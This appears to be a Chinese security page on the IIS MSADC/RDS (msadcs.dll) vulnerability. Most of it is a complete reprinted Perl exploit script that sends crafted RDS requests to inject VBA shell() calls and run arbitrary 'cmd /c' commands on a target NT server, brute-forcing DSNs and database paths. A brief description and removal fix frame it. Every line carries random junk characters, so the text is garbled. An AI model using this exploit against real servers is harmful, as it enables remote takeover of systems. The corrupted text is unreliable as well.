IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
@QteC@k l0 =[MXM4 涉及程序：
}@x!r=O)I Microsoft NT server
%
b fe_k( d^MRu#] 描述：
J ?{@pA 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
_Ne fzZWUJ :aQ.:b (n 详细：
R jp7H 如果你没有时间读详细内容的话，就删除:
%5RR<[_/; c:\Program Files\Common Files\System\Msadc\msadcs.dll
3 {$vN). 有关的安全问题就没有了。
}`cf3'rdk @,Z0u2WLl6 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
<aztbq? L"bZ~'y 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
>3ax `8 关于利用ODBC远程漏洞的描述，请参看:
&^2S dF ZtyDip'x http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm qG@YNc -M/j&<;LW 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
TyDh\f!w http://www.microsoft.com/security/bulletins/MS99-025faq.asp = PU($ \~RDvsSD 这里不再论述。
WP2 =1"X63 vd?Bk_d9k, 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
8Cs;.>75[ .7]P-]uOZ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
o?Aj6f NY? 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
Z1#u&oX 2ah%,o Mg #yl\ v #将下面这段保存为txt文件，然后: "perl -x 文件名"
I4W@t4bZ ! O,Sq/ =. #!perl
o]E L=j #
Jsl2RdI # MSADC/RDS 'usage' (aka exploit) script
c
{/J. #
>
vdmN] # by rain.forest.puppy
>H^#!eaqw #
e2f+ Fv
9 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
{`QA.he. # beta test and find errors!
W1 k]P. )adV`V%=> use Socket; use Getopt::Std;
q`,%L1c4 getopts("e:vd:h:XR", \%args);
[Ur\^wS Y {D%v print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
~w a6S? Q F)\\ D[ if (!defined $args{h} && !defined $args{R}) {
@/F61Ut print qq~
K>dB{w#gS Usage: msadc.pl -h <host> { -d <delay> -X -v }
om`T/@_, -h <host> = host you want to scan (ip or domain)
D"rbQXR7$ -d <seconds> = delay between calls, default 1 second
#MKM.T,\t -X = dump Index Server path table, if available
#=t/wAE y: -v = verbose
T]ls&cW5 -e = external dictionary file for step 5
=*&[K^ >!6|yk`GJ Or a -R will resume a command session
U@M3.[jw H s*["zFc ~; exit;}
I n?=$_p ;I&VpAPx $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
I ]^>>>p$ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
L8 L1_ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
wq hktgG if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
,Klv[_x7 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
=}vT>b if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
"|h%Uy?XY -
8p!,+Dk if (!defined $args{R}){ $ret = &has_msadc;
<%HRs>4 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
4b:|>Z- PVsKI< print "Please type the NT commandline you want to run (cmd /c assumed):\n"
#,%7tXOLR . "cmd /c ";
R|C 2O[r} $in=<STDIN>; chomp $in;
U }LW8886 $command="cmd /c " . $in ;
=eDIvNps * :O"R if (defined $args{R}) {&load; exit;}
`&M,B= E s U"%,Q5 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
H _X^)\oJ &try_btcustmr;
B 1V{3 -}#HaL#'K print "\nStep 2: Trying to make our own DSN...";
")T \_ME &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
z5kAf~A $iu[-my_ print "\nStep 3: Trying known DSNs...";
.!x&d4;,q &known_dsn;
f bNzRXw !R=@Nr> print "\nStep 4: Trying known .mdbs...";
M2O_kO eZ &known_mdb;
q.c)>= !. Y !?'[t if (defined $args{e}){
W6&vyOc print "\nStep 5: Trying dictionary of DSN names...";
_!nsEG
VV &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
q`VL i WwDM^}e print "Sorry Charley...maybe next time?\n";
3 r& exit;
O$<>v\NC? :OG I|[ ##############################################################################
iQ;p59wSzL Kwuuc Y sub sendraw { # ripped and modded from whisker
Upe}9 xf sleep($delay); # it's a DoS on the server! At least on mine...
]mTBD<3\ my ($pstr)=@_;
>2'"} np* socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
w G %W{T$ die("Socket problems\n");
;V
xRaj? if(connect(S,pack "SnA4x8",2,80,$target)){
BmG(+ ;;& select(S); $|=1;
QO2cTk
m print $pstr; my @in=<S>;
y0%1Y Y select(STDOUT); close(S);
q` q;og
` return @in;
`Mnu<)v } else { die("Can't connect...\n"); }}
rm iOeS`: =~B"8@B ##############################################################################
CMX F[X)% AcC &Q:g sub make_header { # make the HTTP request
yD7BZI
xW my $msadc=<<EOT
;-+q*@sa] POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
or/gx 3 User-Agent: ACTIVEDATA
zx3gz7>k; Host: $ip
^7-zwl(>?N Content-Length: $clen
CL |/I: %0 Connection: Keep-Alive
S6TNu+2w4 Y;"k5 + q ADCClientVersion:01.06
X@rA2);6 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
*l+#<5x ^"WV E[" --!ADM!ROX!YOUR!WORLD!
0!T`.UMI Content-Type: application/x-varg
YmziHns`b Content-Length: $reqlen
b:m+I
5 4gr'qvr EOT
-U d^\Yy ; $msadc=~s/\n/\r\n/g;
o ~Se[p return $msadc;}
tyu@ a CK 9R50,l s E ##############################################################################
S<tw5!tJ M+)a6 g e sub make_req { # make the RDS request
1(
p HC my ($switch, $p1, $p2)=@_;
Wg']a /m my $req=""; my $t1, $t2, $query, $dsn;
J ^'El^F Zxa.x?:?n if ($switch==1){ # this is the btcustmr.mdb query
t`Kbm''d[ $query="Select * from Customers where City=" . make_shell();
6b2UPI7m~ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
szI7 I$Qb $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
M/zO|-j& ,_2-Op elsif ($switch==2){ # this is general make table query
Xz$4c I#n: $query="create table AZZ (B int, C varchar(10))";
{>]\< $dsn="$p1";}
(}: s[cs I;(3)^QH# elsif ($switch==3){ # this is general exploit table query
XLN bV? $query="select * from AZZ where C=" . make_shell();
{]0e=#hw $dsn="$p1";}
$> < /%S2g dzf2`@8# elsif ($switch==4){ # attempt to hork file info from index server
BOs/:ZbK0W $query="select path from scope()";
RB 5SK#z $dsn="Provider=MSIDXS;";}
]Bhy =1 t]/eCsR elsif ($switch==5){ # bad query
YR%iZ"`*+O $query="select";
#36Q O $dsn="$p1";}
A# {63_H I6>J.6luF9 $t1= make_unicode($query);
'xwCeZcg $t2= make_unicode($dsn);
C?PQ>Q!f- $req = "\x02\x00\x03\x00";
#[93$)Gd! $req.= "\x08\x00" . pack ("S1", length($t1));
Vwkvu& 4 $req.= "\x00\x00" . $t1 ;
ARk(\,h $req.= "\x08\x00" . pack ("S1", length($t2));
8nz({Mb9Z $req.= "\x00\x00" . $t2 ;
@<.@ X*#I $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
ZN[<=w&(cB return $req;}
^h(wi`i oMh$:jR $ ##############################################################################
9!FX *} dC qQ@| Cj sub make_shell { # this makes the shell() statement
v+c> iI return "'|shell(\"$command\")|'";}
d2k-MZuT6 K/Q"Z* ##############################################################################
_( W@FS dG\ wW@}J sub make_unicode { # quick little function to convert to unicode
YeH!v, > my ($in)=@_; my $out;
7_0 p& 3
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
|) -kUu return $out;}
j8Z, :op U1RU2M]v ##############################################################################
Q$jEmmm%V[ Dk1& <} I sub rdo_success { # checks for RDO return success (this is kludge)
rzjVUPdnh my (@in) = @_; my $base=content_start(@in);
$( h T{C,K if($in[$base]=~/multipart\/mixed/){
$] 6u#5 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
@MW@mP)# return 0;}
+-9vrEB g =*jK SZ ##############################################################################
5&]5*;Bv J mH*ldf;J;= sub make_dsn { # this makes a DSN for us
%,>z`D,Hg my @drives=("c","d","e","f");
h
><Sp*z_V print "\nMaking DSN: ";
E$8JrL foreach $drive (@drives) {
mx c)Wm<4 print "$drive: ";
Q7%4 `_$! my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
b 2gng} "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
h Yu6PWK . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
Z;0~f <e%
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
X{9^$/XsJ return 0 if $2 eq "404"; # not found/doesn't exist
q
z)2a2C if($2 eq "200") {
a#oROb-*~ foreach $line (@results) {
Fr%# return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
! 'zd(kv< } return 0;}
p/H.bG!z Z6!Up1 ##############################################################################
;>6< u.N
q+P@2FL sub verify_exists {
tbrU>KCBD my ($page)=@_;
9&mSF0q my @results=sendraw("GET $page HTTP/1.0\n\n");
WI8}_){ d return $results[0];}
Fs+ tcr/\[ exRw, Nk4 ##############################################################################
m</m9h8 `Sod]bO
+U sub try_btcustmr {
&kb`)F3nU my @drives=("c","d","e","f");
j,IRUx13f my @dirs=("winnt","winnt35","winnt351","win","windows");
$|4@Zx4vf Vl^(K_`( foreach $dir (@dirs) {
,Oo`*'a[o7 print "$dir -> "; # fun status so you can see progress
Sp `l>BL foreach $drive (@drives) {
hlVye&;b8 print "$drive: "; # ditto
U(&c@u% $reqlen=length( make_req(1,$drive,$dir) ) - 28;
l#)X/(?; $reqlenlen=length( "$reqlen" );
`oRyw6Sko $clen= 206 + $reqlenlen + $reqlen;
ep>!jMhJa ,67Q!/O my @results=sendraw(make_header() . make_req(1,$drive,$dir));
2& Q\W if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
So%X(,
| else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
F.s$Y+c!6 }\ _.Mg^y ##############################################################################
)f8>kz( Cq5.g kS< sub odbc_error {
- t-f&`S|| my (@in)=@_; my $base;
VQ = my $base = content_start(@in);
B|`?hw@g+ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
z/?* h $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
B-I4(w($ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
.)E#*kLWR $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
L!f~Am:# return $in[$base+4].$in[$base+5].$in[$base+6];}
vHaM yA- print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
Bfb~<rs[ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
jkeerU6 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
X$};K \I pn" !wqg ##############################################################################
j
cd<'\; j?T 'N:Qd sub verbose {
7UTfafOGX my ($in)=@_;
srS!X$cec return if !$verbose;
lg^'/8^f print STDOUT "\n$in\n";}
pyEQb # Z[O
hZ 9 ##############################################################################
V 6} 5^W dCx63rF`G sub save {
uYW4$6S 3 my ($p1, $p2, $p3, $p4)=@_;
>`QBN1 Y open(OUT, ">rds.save") || print "Problem saving parameters...\n";
l5z//E}W print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
RhYe=Qh4{p close OUT;}
~M~DH-aX 5SFr
E ` ##############################################################################
}G4I9Py If'q 8G3]- sub load {
}:$cK(| my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
0nc(2Bi open(IN,"<rds.save") || die("Couldn't open rds.save\n");
XJul~"
@p=<IN>; close(IN);
1$cl "d`~ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
)x-b+ S C $target= inet_aton($ip) || die("inet_aton problems");
O:BdZ5
b print "Resuming to $ip ...";
^^ q&VL $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
n"iS[uj, if($p[1]==1) {
'O a3
6@ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Y e0,0Fpw $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
DJGafX^ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
2EgvS!" if (rdo_success(@results)){print "Success!\n";}
}L0
[ Jo: else { print "failed\n"; verbose(odbc_error(@results));}}
k?=1q[RQH elsif ($p[1]==3){
MqJTRB s% if(run_query("$p[3]")){
Zo UeLU print "Success!\n";} else { print "failed\n"; }}
B*/!s7 c. elsif ($p[1]==4){
wv ~:^v' if(run_query($drvst . "$p[3]")){
9nY`rF8@ print "Success!\n"; } else { print "failed\n"; }}
\ ?
/' exit;}
Whd > sY<UJlDKT ##############################################################################
r8"2 C# = gF035 sub create_table {
6R :hs C$ my ($in)=@_;
w!lk&7Q7Z $reqlen=length( make_req(2,$in,"") ) - 28;
zJXK:/ $reqlenlen=length( "$reqlen" );
2poo@]M/ $clen= 206 + $reqlenlen + $reqlen;
}u#3 hYa my @results=sendraw(make_header() . make_req(2,$in,""));
J p jHbG return 1 if rdo_success(@results);
L|1,/h
8p my $temp= odbc_error(@results); verbose($temp);
,#;hI{E return 1 if $temp=~/Table 'AZZ' already exists/;
MkW=sD_ return 0;}
V 7,dx@J- cvcZ\y ##############################################################################
&mX_\w /% 8K4^05*S sub known_dsn {
*+v*VH # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
I<}% L
V my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
lIyMNw "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
9L$OSy| "banner", "banners", "ads", "ADCDemo", "ADCTest");
tR 51Pw GR|\OJ<2 foreach $dSn (@dsns) {
P!-RZEt$ print ".";
b5MBzFw next if (!is_access("DSN=$dSn"));
bo<P%$(D if(create_table("DSN=$dSn")){
G#[A'tbKk print "$dSn successful\n";
*iB&tW v if(run_query("DSN=$dSn")){
eb7U A=[Z print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
3 c HYe print "Something's borked. Use verbose next time\n";}}} print "\n";}
hh4R a!R*O3 ##############################################################################
L9jT :2F ]9_gbQ sub is_access {
eipg ,EI my ($in)=@_;
+-tFg XG $reqlen=length( make_req(5,$in,"") ) - 28;
pW+uVv, $reqlenlen=length( "$reqlen" );
"{8j!+]4i $clen= 206 + $reqlenlen + $reqlen;
JuZkE9C,${ my @results=sendraw(make_header() . make_req(5,$in,""));
Mbc&))A my $temp= odbc_error(@results);
qu^g~"s verbose($temp); return 1 if ($temp=~/Microsoft Access/);
#^$_/Q#C return 0;}
`M~R4l r bci]"uzB
##############################################################################
<M\&zHv af<h2 r sub run_query {
np2&W'C/i my ($in)=@_;
p 2Khfl6- $reqlen=length( make_req(3,$in,"") ) - 28;
}$i"t8"s $reqlenlen=length( "$reqlen" );
mr7Oi `dE $clen= 206 + $reqlenlen + $reqlen;
+TbAtkEF* my @results=sendraw(make_header() . make_req(3,$in,""));
)l9KDObis return 1 if rdo_success(@results);
ECt<\h7} my $temp= odbc_error(@results); verbose($temp);
OPN \{<`*d return 0;}
kNK0 KL =F|9 ac9X ##############################################################################
j-d&4,a:c \^6 [^\@[ sub known_mdb {
2|x
!~e. my @drives=("c","d","e","f","g");
%GTFub0 F my @dirs=("winnt","winnt35","winnt351","win","windows");
R ?u(aY)P my $dir, $drive, $mdb;
a/ uo)']B my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
%Bw:6Y4LZ 'IY?=#xr'` # this is sparse, because I don't know of many
\ Bj{.jL my @sysmdbs=( "\\catroot\\icatalog.mdb",
&]YyV . "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
Ck#e54gJX "\\system32\\certmdb.mdb",
T1q27I "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
i&m_G5u88 2.WI".&y= my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
%16Lo<DPm "\\cfusion\\cfapps\\forums\\forums_.mdb",
WOZuFS1 3 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
%|e)s_%XE "\\cfusion\\cfapps\\security\\realm_.mdb",
-E1-(TS "\\cfusion\\cfapps\\security\\data\\realm.mdb",
WzstO}?P( "\\cfusion\\database\\cfexamples.mdb",
T1q bb* "\\cfusion\\database\\cfsnippets.mdb",
XB7*S*"! "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
* EGzFXa "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
~*bfS}F8I "\\cfusion\\brighttiger\\database\\cleam.mdb",
-$"$r ~ad "\\cfusion\\database\\smpolicy.mdb",
=Rx4ZqTI| "\\cfusion\\database\cypress.mdb",
O:#YLmbCN "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
YzjRD: "\\website\\cgi-win\\dbsample.mdb",
pl%!AY'oE> "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
PS" rXaY "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
?o[h$7` o6 ); #these are just
^2}HF/ foreach $drive (@drives) {
Ho&:Zs foreach $dir (@dirs){
f2[R2sto@ foreach $mdb (@sysmdbs) {
q{`1 [R print ".";
M?YNK] if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
5IUdA? print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
"x R6~8 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
]+Lr 'HF print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
2$ Xof } else { print "Something's borked. Use verbose next time\n"; }}}}}
~-Kx^3(# 2b7-=/[6 foreach $drive (@drives) {
1N(#4mE= foreach $mdb (@mdbs) {
hYpxkco"4' print ".";
QOEi.b8r if(create_table($drv . $drive . $dir . $mdb)){
`bB kPH}M print "\n" . $drive . $dir . $mdb . " successful\n";
C W#:' if(run_query($drv . $drive . $dir . $mdb)){
Hy4;i^Ik < print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
+z nlf- } else { print "Something's borked. Use verbose next time\n"; }}}}
>=97~a+. }
;&<N1 la<.B^ ##############################################################################
.KKecdd?= r QiRhp sub hork_idx {
M J ch
Z print "\nAttempting to dump Index Server tables...\n";
9V1d`]tP print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
<qfAW?tF $reqlen=length( make_req(4,"","") ) - 28;
%W9R08` $reqlenlen=length( "$reqlen" );
~<!j]@. $clen= 206 + $reqlenlen + $reqlen;
HSysME1X:/ my @results=sendraw2(make_header() . make_req(4,"",""));
tkZUjQIX if (rdo_success(@results)){
s8&q8r7% my $max=@results; my $c; my %d;
~2\Sn-` for($c=19; $c<$max; $c++){
+# 'w}
P $results[$c]=~s/\x00//g;
d)1gpRp $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
AE>W$x8P $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
#M|lB YdW} $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
o3`U;@ &u $d{"$1$2"}="";}
p#jAEY p foreach $c (keys %d){ print "$c\n"; }
we[+6Z6J } else {print "Index server doesn't seem to be installed.\n"; }}
D(ItNMc Ku ]}lt^7\= ##############################################################################
H2%Qu<Kg2 *V hEl7 sub dsn_dict {
f~wON>$K open(IN, "<$args{e}") || die("Can't open external dictionary\n");
%B\x
%e ;P while(<IN>){
LUD . $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
qr4 lr!#t next if (!is_access("DSN=$dSn"));
_|["}M"? if(create_table("DSN=$dSn")){
ss%, print "$dSn successful\n";
B?i # m^S if(run_query("DSN=$dSn")){
'y; Kj print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
_?H3*!>3 print "Something's borked. Use verbose next time\n";}}}
)K E print "\n"; close(IN);}
&*>.u8:r :.Z WYze ##############################################################################
,B'=$PO% W9] z]6 sub sendraw2 { # ripped and modded from whisker
BeLD`4K sleep($delay); # it's a DoS on the server! At least on mine...
Rm =p } my ($pstr)=@_;
_M/N_Fm socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
#?w07/~L die("Socket problems\n");
LH2B*8=^2 if(connect(S,pack "SnA4x8",2,80,$target)){
=_#b
.8K print "Connected. Getting data";
.f J8 open(OUT,">raw.out"); my @in;
N-QS/*C.~ select(S); $|=1; print $pstr;
x3&gB`j-
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
GGEM&0* close(OUT); select(STDOUT); close(S); return @in;
5h/,*p6Nje } else { die("Can't connect...\n"); }}
OU UV8K "jyo'r ##############################################################################
H9)n<r rb-a o\ sub content_start { # this will take in the server headers
y#B=9Ri=z my (@in)=@_; my $c;
U\Vg &"P for ($c=1;$c<500;$c++) {
q if($in[$c] =~/^\x0d\x0a/){
'(@q "`n if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
zEFS\nP}E else { return $c+1; }}}
K bLSK return -1;} # it should never get here actually
nSyLt6zn\ +]cf/_8+s ##############################################################################
}
doAeTZ 3 GF67] sub funky {
2>9\o]ac4 my (@in)=@_; my $error=odbc_error(@in);
F}So=Jz9h if($error=~/ADO could not find the specified provider/){
]6B9\C.2-_ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
b_RO%L:"yL exit;}
`B@eeXa;u if($error=~/A Handler is required/){
5NZuaN print "\nServer has custom handler filters (they most likely are patched)\n";
Jm<NDE~rw exit;}
qm!cv;}c1 if($error=~/specified Handler has denied Access/){
Lbrl CB+ print "\nServer has custom handler filters (they most likely are patched)\n";
7h e,(V exit;}}
^nNY|
* ]]K?Q
)9x ##############################################################################
AB/${RGf+ |K1S(m<F sub has_msadc {
a6n@
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
>
pb}@\;: my $base=content_start(@results);
y!gPBkG&3n return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
xR0*w7YE return 0;}
&zF>5@ fM UDr 1t n ########################
vU,7Y|t` V\zcv @ [ <@T%yq 解决方案：
UxNn5(:sM@ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
I>FL&E@K 2、移除web 目录: /msadc
